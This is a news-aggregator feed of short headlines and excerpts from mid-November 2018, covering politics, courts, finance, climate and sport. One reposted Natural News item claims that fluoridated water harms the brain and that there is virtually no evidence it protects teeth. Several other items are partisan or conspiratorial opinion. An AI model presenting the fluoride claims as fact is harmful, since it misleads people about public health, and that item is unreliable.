The ruling comes just a day after the team of Mexicos incoming president said withdrawing the military was not viable, as they are more trustworthy and capable than the often-corrupt police force.

Ahead of the ruling, human rights groups had warned the law could lead to further abuses by the military.

Read more: Mexico fighting endless war against cartels

No alternatives

President-elect Andres Manuel Lopez Obrador has long criticized the domestic military deployment, but is hamstrung by a lack of realistic alternatives. He has proposed creating a national guard uniting elements of the army, navy and federal police, but that would require lengthy constitutional reform.

An estimated 170,000 people have died in drug violence in Mexico and thousands more have gone missing. Last year alone,......

11:09

Over three days, sport will show that Ireland can divide or unite to the mutual benefit of all "IndyWatch Feed Allworld"

In a short three day period in sport, well see how two conflicting (paradoxical) dynamics can work well on the island of Ireland. By all accounts, the atmosphere in the ground was warm in the Aviva Stadium in Dublin between the Republic and Northern Ireland last night.

Neither team has been showing great form against other teams, so both are adrift of their ambitions. The internationalisation of the EPL means theyre not picking from the top. But it was a lively game of keen competition with a respectful and friendly rivalry.

Tomorrow, the whole island will be willingly united as Ireland rugby team, presently the second best rugby side in the world rankings, take on the worlds best in New Zealand. Its a fixture no longer mired in long-term pessimism since that memorable game two years ago in Chicago.

Ireland knows it can beat the All Blacks now, and so does the New Zealand team. There are few fans from Holywood to Sundays Well who do not tingle at the prospect of actually beating them at home. And the fan base has been growing larger and wider on the island since the Grand Slam of 2009.

The recognition of individual choice in soccer has allowed us to move away from the bitter resentments of the past, and in rugby that free choice (and the benefits of the professional era) has led us to put out a team thats unrivalled in the history of Irish rugby.

Photo by Torsten Dettlaff is licensed under CC0

11:04

Links 16/11/2018: Red Hat Enterprise Linux 8 Beta, Mesa 18.2.5, VirtualBox 6.0 Beta 2 "IndyWatch Feed Allworld"

GNOME bluefish

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11:01

Dutch red deer fighting, video "IndyWatch Feed Allworld"

This 24 September 2018 video shows two male red deer fighting during the mating season.

Peter Lindeboom made this video in the forest near Hoog Buurlo in the Veluwe region in the Netherlands.

11:00

This blockchain-based platform will let anyone invest in renewables "IndyWatch Feed Allworld"

Early next year, the startup Power Ledger will start selling tiny fractions of clean energy plants to anyone who wants to invest in helping renewables scale up, fast.

To have a chance of meeting the goals of the Paris climate agreement, the world needs to scale up renewable energy six times faster than the current pace. One way to do that: Make it easier for anyone to support a large-scale solar or wind farm.

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11:00

TESLAS WARDENCLYFFE, TEXAS STYLE "IndyWatch Feed Allworld"

So many people sent me pictures and articles about this story that I want to start out right away by saying thank you to []

The post TESLAS WARDENCLYFFE, TEXAS STYLE appeared first on Giza Death Star.

11:00

Americans are fed up with being manipulated online "IndyWatch Feed Allworld"

People say that content on their social media feeds makes them angrywhich is exactly what social media companies want.

Many Americans feel angry when they use social mediaand even more are suspicious of the way algorithms are manipulating their experiences online.

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11:00

Climate Scientist Who Fled CA Wildfire: We"re Going to Keep Paying Price If We Ignore Climate Change "IndyWatch Feed Allworld"

At least 44 people are dead and more than 200 remain missing as two massive wildfires, fueled by easterly winds and a historic drought, continue to rage in California.

11:00

Get Out of Jail for a Price: The First Investigation From Our Illinois Reporting Project "IndyWatch Feed Allworld"

This week, we published the first story from our Illinois reporting project, an initiative to fund investigative reporting around the state that we announced this year.

These programs, experts say, create an uneven playing field where well-to-do defendants can buy their way out of criminal trouble while low-income defendants cannot. In some cases, states attorneys probably wouldnt have followed through with the prosecution. Whats more, the companies take the lions share of the fees.

Its the kind of investigation we were looking for when we issued our call for proposals: a story on an issue of particular concern to Illinoisans who live outside the Chicago metropolitan area.

We have several more projects we plan to publish in the coming months, including stories that look at topics involving the environment and worker safety.

Were excited to be collaborating with these reporters and hope youll read their work. If you have ideas for other stories we should investigate, whether theyre in Chicago, central Illinois or the southern part of the state, please let us know. You can email me at steve.mills@propublica.org.

You can also call us or reach us confidentially through Signal at 312-282-0273.

Outside Review Faults Orlando Fire Department Policies and Mistakes in Pulse Shooting Response "IndyWatch Feed Allworld"

An independent review of the Orlando Fire Departments response to the 2016 Pulse nightclub shooting has concluded that the agency was not prepared for the disaster and did not know how to use the ballistic vests it had previously purchased.

The report by the National Police Foundation, released Wednesday, largely corroborates a September investigation by WMFE and ProPublica that found that the Orlando Fire Department failed to prepare adequately for a mass shooting, despite calls from some supervisors to do so. Forty-nine people died and more than 50 were injured during the shooting. The foundation is a nonpartisan police research organization.

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The foundations report concluded that Fire Department personnel working the night of the Pulse shooting operated with bravery and that their actions saved lives. But, it noted, operations were challenged by the extended or delayed arrival of executive leadership on scene, which didnt arrive until after the shooter was killed, the lack of inter-agency communication, and outdated policies.

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10:57

SOTT FOCUS: The Real Problem with Nationalism, Without the Virtue Signaling "IndyWatch Feed Allworld"

Depending on your political bias, U.S. President Trump is either a black hole, or a radiant orange sun. Either way, you cannot escape his influence. Every tweet and stray comment is picked up, and picked apart, by the media. As Jon Stewart recently pointed out - with a degree of insight sorely lacking in the majority of his peers - the media just can't help but take his bait: "What he's done well is appeal to their own narcissism, to their own ego," he said. "The journalists stand up and say: 'We are noble! We are honorable! How dare you, sir!' And they take it personally." "Now he's changed the conversation to - not that his policies are silly or not working or any of this other things - it's all about the fight," Stewart said. "He's able to tune out everything else and get everyone else just focused on the fight. And he's gonna win that fight." But it's not just his attacks on the media (who are just as keen to attack him). Trump manages to dominate the news cycle, and even...

10:56

Indonesian jet crash victims family sues Boeing "IndyWatch Feed Allworld"

The family of an Indonesian man killed in a Lion Air jet crash is suing Boeing, alleging that the accident may have been caused by a problem with the flight-control system in its newest 737 plane.

The father of Rio Nanda Pratama filed the lawsuit Wednesday in the US state of Illinois, where the plane manufacturer is headquartered, over the death of the young doctor who was to have married his high-school sweetheart this week.

AFP/File | Investigators are trying to determine what caused the Lion Air Boeing 737-MAX to crash shortly after takeoff from Jakarta

Pratamas fiance Intan Syari, 26, has made headlines after she posed alone for photos in a wedding gown that she was to have worn at the couples nuptials in Indonesia.

Syari said her husband-to-be had asked in jest that she carry on with the photo shoot if he did not return from what turned out to be a fatal trip.

The 26-year-old man was among the 189 people killed when the Boeing 737-MAX plunged into the Java Sea on October 29, less than 20 minutes after leaving Jakarta on a routine flight to Pangkal Pinang city. There were no survivors.

The 737-MAX in question had only begun service for budget carrier Lion Air in August.

Questions have swirled about Boeings alleged failure to tell airlines and pilots about changes to an anti-stall system that is being investigated for its possible links to the crash.

The jets engines are heavier than those installed on prior versions, meaning the plane can stall under different conditions.

Boeing made modifications to the anti-stall system without informing air carriers and their crews, according to the Allied Pilots Association.

The government investigators typically will not make a determination of who is at fault, and just compensation to these families will not be provided by the governmental investigations, Curtis Miner from US-based firm Colson Hicks Eidson, which filed the lawsuit, said in a statement.

That is the critical role of private lawsuits in a tragedy like this.

There is still no answer to what caused one of the worlds newest and most advanced commercial passenger planes to crash. A preliminary report is expected at the end of the month.

Pratamas family could not be immediately reached.

AFP

10:55

The nine ways fluoride is harming your brain "IndyWatch Feed Allworld"

(Natural News) The U.S. Centers for Disease Control and Prevention (CDC) calls the fluoridation of water one of 10 great public health achievements of the 20th century. Nonetheless, even though fluoride occurs naturally in small amounts in water and can be found in the earths crust, its addition to drinking water to supposedly strengthen teeth and prevent cavities is a highly controversial and dangerous practice.

The World Health Organization, referencing countries where well water is high in fluoride, warns:

The consumption of fluoride-rich drinking-water results in serious health effects, ranging from dental fluorosis to crippling skeletal fluorosis, both effects being irreversible. Children whose teeth and bones are still developing are most susceptible to high fluoride concentrations. This is further aggravated by poor nutritional status. Symptoms start to develop during childhood, and preventing exposure represents the only effective intervention. [Emphasis added]

While there is virtually no evidence that fluoridation strengthens teeth in any way, there is loads of evidence that it is a neurotoxin with devastating effects on the brain.

Be Brain Fit recently reported on nine different ways in which fluoridated water can negatively impact your mental health.

A developmental neurotoxin
A recent study published in the journal The Lancet recommended that fluoride be classified as a developmental neurotoxin a substance which is destructive to the brain, nervous system and/or spinal cord before birth and during infancy along with arsenic, mercury, toluene and lead.

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10:55

Why Washington Blows Up over European Army "IndyWatch Feed Allworld"

For Washington, despite all the chivalrous rhetoric, Europe is not a partner nor even an ally. It is a vassal. Admittedly, thousands of American troops died while bravely fighting wars in Europe. But they are distinct from the US ruling class.

10:50

Secret Services Vacates Trump Tower over Lease Dispute, August 2017 "IndyWatch Feed Allworld"

Background

According to the Washington Post:

The Secret Service has vacated its command post inside Trump Tower in Manhattan following a dispute between the government and President Trumps company over the terms of a lease for the space, according to two people familiar with the discussions.

Previously, the Secret Service had stationed its command post which houses supervisors and backup agents on standby in case of an emergency in a Trump Tower unit one floor below the presidents apartment.

But in early July, the post was relocated to a trailer on the sidewalk, more than 50 floors below, a distance that some security experts worry could hamper the agency that protects the presidents home and family.

The command post appears unlikely to move anytime soon back inside Trump Tower, where the president and his family have rarely gone since moving to the White House. (Continue Reading)

In August of 2017, I filed FOIA requests to uncover some of the behind the scenes information that was circulating. Below, you will find the documents so far received.

Document Archive

 GSA Documents, Released August 2018 [236 Pages, 26MB]

 Secret Service Documents, Released November 2018 [236 Pages, 17.5MB]

 

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10:47

France Chases Londons Gold Market Amid Soft-Brexit Hopes "IndyWatch Feed Allworld"

In the feverish reshuffling of financial services for a post-Brexit world, London still comes out ahead, but less so.

As two years of Brexit negotiations finally come to a head and all eyes are on British Prime Minister Theresa Mays frantic efforts to get the draft deal passed, France is making a big move on the City of Londons gold market. As Reuters reported Monday, the Bank of France has partnered with mega-bank JP Morgan Chase, one of the worlds largest bullion trading banks, to offer global central banks and sovereign wealth funds the full gamut of swaps, leases, and gold deposits.

Sylvie Goulard, the Bank of Frances deputy governor, recently wrote in The Alchemist, the in-house journal for the London Bullion Market Association (LBMA), that Paris is looking to reestablish itself as a mover and shaker in the international bullion market. While these gold investment services have until now only been offered from London, it recently became possible for the Banque de France to offer them also from Paris, she said.

France is already the worlds fifth biggest sector gold holder, carrying around 2,435 tonnes of gold in its official reserves. But until now central banks holding gold at the Bank of France had to go through London, home to the worlds largest commercial bullion trading pool, if they wanted to perform market transactions.

But the Bank of France has been expanding its gold services. Its newly consummated partnership with JP Morgan, a member of a select group of global banks that settles trades in the LBMA, is the clearest sign yet that Paris wants a piece of Londons $25 billion-a-day gold bullion market

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10:46

The Daewoo-Madagascar land grab: Ten years on "IndyWatch Feed Allworld"

On 18 November 2008, The Financial Times exposed a massive deal being negotiated between Daewoo Logistics and the government of Madagascar. Through this deal, the South Korean company was seeking access to no less than 1.3 million hectares to grow maize for export back home while the local communities were uninformed. The breaking of this story helped lead to the overthrow of the Malagasy government a few months later, and woke the world up to an outrageous new trend of global land grabbing for agricultural production driven by the food and financial crises. Ten years later, what are we seeing?


 

10:45

United States World War III warmongering "IndyWatch Feed Allworld"

This 27 February 2018 Massachusetts Peace Action video from the USA says about itself:

Dont Bank on the Bomb: Divesting from the Business of Nuclear Weapons

In 2016 the Cambridge City Council passed a resolution to divest City-managed pension funds from companies that produce nuclear weapons, or invest in their production. A forum on January 27, 2018 addressed the issues confronting city government as it works to follow through on that resolution.

By Andre Damon in the USA:

Bipartisan panel: US must prepare for horrendous, devastating war with Russia and China

16 November 2018

A bipartisan commission appointed by Congress issued a lengthy report Tuesday backing the Pentagons plans to prepare for a great-power war against Russia, China, or both, making clear that the Trump administrations belligerent policies are shared by the Democratic Party.

Safe in the knowledge that its findings will never be seriously reported by the mass media, the authors of this report do not mince words about what such a war will mean. A war between the United States and China, which according to the report might break out within four years, will be horrendous and devastating. The military will face greater losses than at any time in decades. Such a war could lead to rapid nuclear escalation, and American civilians will be attacked and likely killed.

It is impossible to understand anything in American politics without recognizing one fundamental reality: the events and scandals that dominate political discourse, which make it onto the evening news and into headlines on news sites and social media feeds, have precious little to do with the considerations of those who actually make decisions. The media talking heads play their assigned roles, knowing that they are to limit th...

10:45

France Goes for Londons Gold Market Amid Soft-Brexit Hopes "IndyWatch Feed Allworld"

France Goes for Londons Gold Market Amid Soft-Brexit Hopes from Wolf Street In the feverish reshuffling of financial services for a post-Brexit world, London still comes out ahead, but less so. By Don Quijones, Spain, UK, & Mexico, editor at WOLF STREET....

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10:45

US, Britain Push Yemen Ceasefire as Tactic to Defeat Houthis "IndyWatch Feed Allworld"

If Washington, London and Paris were really serious about ending the suffering in Yemen, they would simply demand that the aggression stops immediately, so that the Yemenis are allowed to determine their own political future without foreign interference.

10:44

Report: Amazons HQ2 could eliminate 1,500 affordable housing units in NYC "IndyWatch Feed Allworld"

But, dont worry, Jeff Bezos still gets his helipad.

While New York politicians will certainly continue bloviating about the all the benefits that Amazons HQ2 will bring to the city, new evidence sure makes it seem like poor people will be the ones paying for it.

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10:43

How would you better the world with a million dollars? "IndyWatch Feed Allworld"

What million-dollar green solution can you propose to make the world a better place?

10:40

MACKAY Police find miniature cannon in raid at Blacks Beach home "IndyWatch Feed Allworld"

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10:30

Google Meets Russian Govt Body to Discuss Ongoing Piracy Issues "IndyWatch Feed Allworld"

On November 1, 2018, Russias most powerful technology and entertainment companies signed a Memorandum of Cooperation to tackle online piracy.

The agreement, designed to rid all major platforms of infringing content, saw movie, television, and Internet companies agree to the formation of a central database of infringing sites, which will provide information on what content should be deleted.

While Channel One, the National Media Group, Gazprom-Media, the Internet Video Association, the Association of Film and Television Producers, Yandex, Rambler Group, Mail.Ru Group, vKontakte, and RuTube signed up, Google did not. However, telecoms watchdog Roscomnadzor suggested that Google would be welcome to join, when the time is right.

To that end, discussions continued in Moscow Wednesday, with Deputy Head of Roscomnadzor Vadim Subbotin meeting with Doron Avni, Googles Director of Public Policy & Government Relations for Europe, Middle East & Africa Emerging Markets.

During the meeting, Google was officially invited to join the anti-piracy memorandum, which in some respects is already aligned with the requirements of the DMCA. However, instead of Google receiving complaints directly from copyright holders, the memorandum requires that details of infringing content are held in a database administered by Roscomnadzor.

The plan is for the database to be queried every five minutes by the signatories, who will use the data to remove infringing content from search results and hosting services. No further information in respect of Google has been released by Roscomnadzor so it remains unclear whether the US-based company is prepared to deviate from its current takedown notice procedure under the DMCA.

Another topic of discussion was Googles failure to connect its systems to another centralized database that contains a list of permanently blocked websites. Search engines operating in Russia are obliged to connect to the resource but to date, Google has not.

Several weeks ago, Roscomnadzor contacted Google with a demand that it begins filtering its search results using data obtained from the countrys FGIS blacklist. Google did not comply, which led the telecoms watchdog to declare that the search giant is in breach of federal law.

That left Google vulnerable to an administrative fine of between 500,000 and 700,000 rubles (US$7,611 to US$10,656). While insignific...

10:29

Indonesian woman gets jail after exposing philandering boss "IndyWatch Feed Allworld"

An Indonesian woman who exposed her cheating boss has been slapped with a six-month jail term for her trouble.

The supreme courts shock ruling overturned an earlier court decision that had cleared the woman, Baiq Nuril Maknun, of breaking a controversial law against spreading indecent material.

Im saddened and shocked by this sentence, Maknuns husband Lalu Muhamad Isnaini said Friday in reaction to the ruling, which was issued last week.

The odd case stretches back to 2012 when Maknun recorded a conversation in which the principal of the school where she worked on the island of Lombok revealed graphic sexual details about an affair he was having with another colleague.

AFP | Baiq Nuril Maknun exposed her philandering boss but was handed a six-month jail term for violating Indonesias controversial electronic information law

Co-workers of the school administrator who herself had rebuffed the principals repeated advances later convinced Maknun to release the recording in a bid to expose the mans history of lecherous behaviour, according to her lawyer Joko Jumadi.

The principal shared very graphic details about his affair with the schools treasurer in the recording, he told AFP.

In response, the principal fired Maknun and filed a complaint with authorities.

Maknun was initially cleared of the charges by a local court in Lombok, next to holiday hotspot Bali.

But, last Friday, Indonesias top court reversed that decision, finding her guilty of violating the electronic information law and sentencing her to six months jail along with a 500 million rupiah ($34,000) fine.

The 36-year-old Maknun told local reporters that the ruling was unfair.

Im just a victim what did I do wrong? she said at the time.

The court did not give reasons for its verdict.

The prosecutors office in Lombok told AFP on Friday it is reviewing the case before Maknun begins her sentence.

Indonesias corruption-riddled justice system has long been criticised for the quality of its rulings, while the electronic information law itself has come under fire for being too vague and open to misuse.

AFP

10:27

Green consumerism is not enough "IndyWatch Feed Allworld"

Green consumerism is not enough

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10:25

A little bit of sun "IndyWatch Feed Allworld"

Queensland turns the corner

To look at the latest employment and unemployment figures you might things haven't been so bright for Queensland, but these are lagging indicators. 

But the latest state accounts for financial year 2018 released today showed gross state product up by 3.4 per cent - behind only Victoria of all the states - for the strongest result since 2011-12, while final demand in the Sunshine State was also up by 3 per cent. 


Source: ABS

Better still, business investment in Queensland recorded double digit growth at 10.6 per cent after a lean five years. 

Provided China keeps importing Australian coal in 2019, the next few years should be better for profits and wages.

Gross income per capita grew in Queensland by 2.3 per cent after an awfully sluggish few years (nothing compared to the Canberra bubble, mind you!).


Finally, 2018 was characterised for the housing market by switching to lower mortgage rates, but with more principal being repaid.

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10:24

The Moral Fiber of Justin Trudeau "IndyWatch Feed Allworld"

For any appeal to ethics and morality to have any legitimacy, the principles so enounced must be applied rigorously, without favor or prejudice, to all human beings whatever grouping they may be slotted into. In other words, favoritism and morality are an antithetical mixture.

The principle that holds morals apply equally to all humans seemingly eludes Canadas prime minister Justin Trudeau.

On 7 November, Trudeau stood in the House of Commons and railed against anti-Semitism and rightly so. Anti-Semitism, as with any form of racism or hatred expressed against any grouping, is anathema.

Yet Trudeaus taking up the cause of anti-Semitism by attacking the Boycott, Divestment, Sanctions (BDS) movement is transparently, logically, and morally flawed.

Trudeau correctly apologized for Canadas turning away Jewish refugees in 1939. Trudeau followed up the apology bemusedly:

Anti-Semitism is far too present. Jewish students still feel unwelcomed and uncomfortable on some of our colleges and university campuses because of BDS-related intimidation.

And out of our entire community of nations, it is Israel whose right to exist is most widely and wrongly questioned.

Any form of racism in any iota is an iota too much. This applies to all groupings of humans. No one should be despised, looked down upon, or discriminated against merely by virtue of being attached to a group through birth or circumstances beyond ones control.1

Yes, anti-Semitism exists. Probably every form of racism exists. It is deplorable to despise someone for the mere fact of being Jewish. However, Zionism is a different animal. Political Zionism is racist to its core and highly discriminatory. Hence, if one is opposed to racism, then one must also speak out against racism by Jews against others. Some try to conflate anti-Zionism with anti-Semitism; however, this is palpably fallacious. Imagine if someone tried to argue that if a person is opposed to the KKK that that person must therefore be against all white people (which would include most Jews). It is patently ludicrous, and it speaks ill to the intellectual rigor of any individual who would make such a claim.

Trudeau made blanket assertions. He did not back up what he said. What did he mean by they feel unwelcomed? What is BDS-related intimidation? BDS is widely understood to be a non-violent means of attempting to end Israeli oppression....

10:24

Mohammed bin Salman and Khashoggi: The crown prince's dilemma "IndyWatch Feed Allworld"

The Saudi prince has found himself at the centre of attention in an international murder case and King Salman cannot protect him indefinitely

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10:22

Pence says South China Sea doesnt belong to any one nation "IndyWatch Feed Allworld"

The South China Sea does not belong to any one nation and the United States will continue to sail and fly wherever international law allows, U.S. Vice President Mike Pence said on Friday, in a challenge to China which claims the waterway.

 

Li Keqiang, from left, Vladimir Putin, Lee Hsien Loong, Prayuth Chan-Ocha and Mike Pence.  Photographer: Alexei Druzhinin/TASS via Getty Images

 

The United States has conducted a series of freedom of navigation exercises in the contested South China Sea, angering China, which says the patrols threaten its sovereignty.

The South China Sea doesnt belong to any one nation, and you can be sure: The United States will continue to sail and fly wherever international law allows and our national interests demand, Pence said.

China, Brunei, Malaysia, the Philippines, Vietnam and Taiwan, all have claims in the South China Sea, through which some $3 trillion of shipborne trade passes each year.

Pence on Thursday told leaders of Southeast Asian nations there was no place for empire and aggression in the Indo-Pacific region, a comment that could be interpreted as a reference to Chinas rise.

Speaking to a regional summit, Pence directly criticized Chinas action in the South China Sea, according to a transcript of his remarks.

Let me be clear: Chinas militarization and territorial expansion in the South China Sea is illegal and dangerous. It threatens the sovereignty of many nations and endangers the prosperity of the world, he said.

In Beijing, Chinese Foreign Ministry spokeswoman Hua Chunying said no country, including the United States, had ever provided any evidence of problems with freedom of navigation or overflight in the South China Sea.

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Chinese Foreign Ministry spokeswoman Hua Chunying

May I trouble you to remind Mr Pence, that the United States has yet to ratify the United Nations Law of the Sea Convention (UNCLOS), Hua told a daily news briefing.

If the United States can at an early date ratify and abide by UNCLOS, then I think this will benefit even more the protection of peace and stability in the South China Sea area.

The 1982 convention defines how coastal st...

10:22

What a massive database of retracted papers reveals about science publishings death penalty "IndyWatch Feed Allworld"

Still, the data trove has enabled Science, working with Retraction Watch, to gain unusual insight into one of scientific publishings most consequential but shrouded practices. Our analysis of about 10,500 retracted journal articles shows the number of retractions has continued to grow, but it also challenges some worrying perceptions that continue today. The rise of retractions seems to reflect not so much an epidemic of fraud as a community trying to police itself.


Better editorial oversight, not more flawed papers, might explain a flood of retractions.

10:19

Why Sleep Apnea Patients Rely on a CPAP Machine Hacker "IndyWatch Feed Allworld"

Via: Vice: An Australian hacker has spent thousands of hours hacking the DRM that medical device manufacturers put on CPAP machines to create a free tool that lets patients modify their treatment.

10:16

The Bank of Japans Stealth Tapering "IndyWatch Feed Allworld"

When Japanese Prime Minister Shinzo Abe appointed Haruhiko Kuroda as governor of the Bank of Japan in 2013, the country had been living with deflation for 15 years. Kuroda may not have achieved the BOJs target of 2% inflation, but that was never his only goal.

10:15

James Anderson: Proof of JP Morgan Silver Manipulation (Video) "IndyWatch Feed Allworld"

James Anderson: Proof of JP Morgan Silver Manipulation Video Silver Fortune More proof of JP Morgans control of the silver market recently came out, and James joins us to discuss it, along with many other topics. Video Source

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10:11

We have no beef with the meat tax "IndyWatch Feed Allworld"

We have no beef with the meat tax

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10:10

israel (apartheid state) breaks truce only hours in, kills fishermen "IndyWatch Feed Allworld"

Israel breaks truce only hours in, kills fishermen Source: Middle East Monitor The Israeli occupation forces have broken the cease-fire in the Gaza Strip hours after declaring it. Gunboats fired on Wednesday afternoon a Palestinian fisherman who was working in the sea, killing him instantly. The Palestinian Ministry of Health declared the death of Palestinian []

10:08

Chinese Education Stocks Tumble on Policy Change "IndyWatch Feed Allworld"

Guidelines would ban privately owned kindergartens from going public, bar listed companies from buying peers with shares or cash

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Beijing is tightening the rules on kindergartensupsetting investors who bet on huge and rapidly growing Chinese demand for education.

Whats Happening

Chinas official news agency, Xinhua, late on Thursday unveiled a draft overhaul of preschool education. The guidelines from Chinas cabinet, known as the State Council, would ban privately owned kindergartens from going public and stop listed companies from buying peers with shares or cash. The proposal follows several scandals over alleged child abuse.

ASIA MARKETS SNAPSHOT

  • The Shanghai Composite index rose less than 1%.
  • Benchmarks in Australia and South Korea advanced modestly.
  • Beijing fixed the yuan at 6.9377 to the dollar, little changed from Thursday.

It sent the shares of Chinese education operators tumbling in the U.S. and Hong Kong. In New York trading on Thursday, RYB Education RYB -52.97% plunged 53% and Bright Scholar Education BEDU -16.71% fell 17%, wiping a combined $477.6 million off their market value. For both, it was the biggest single-day drop since listing last y...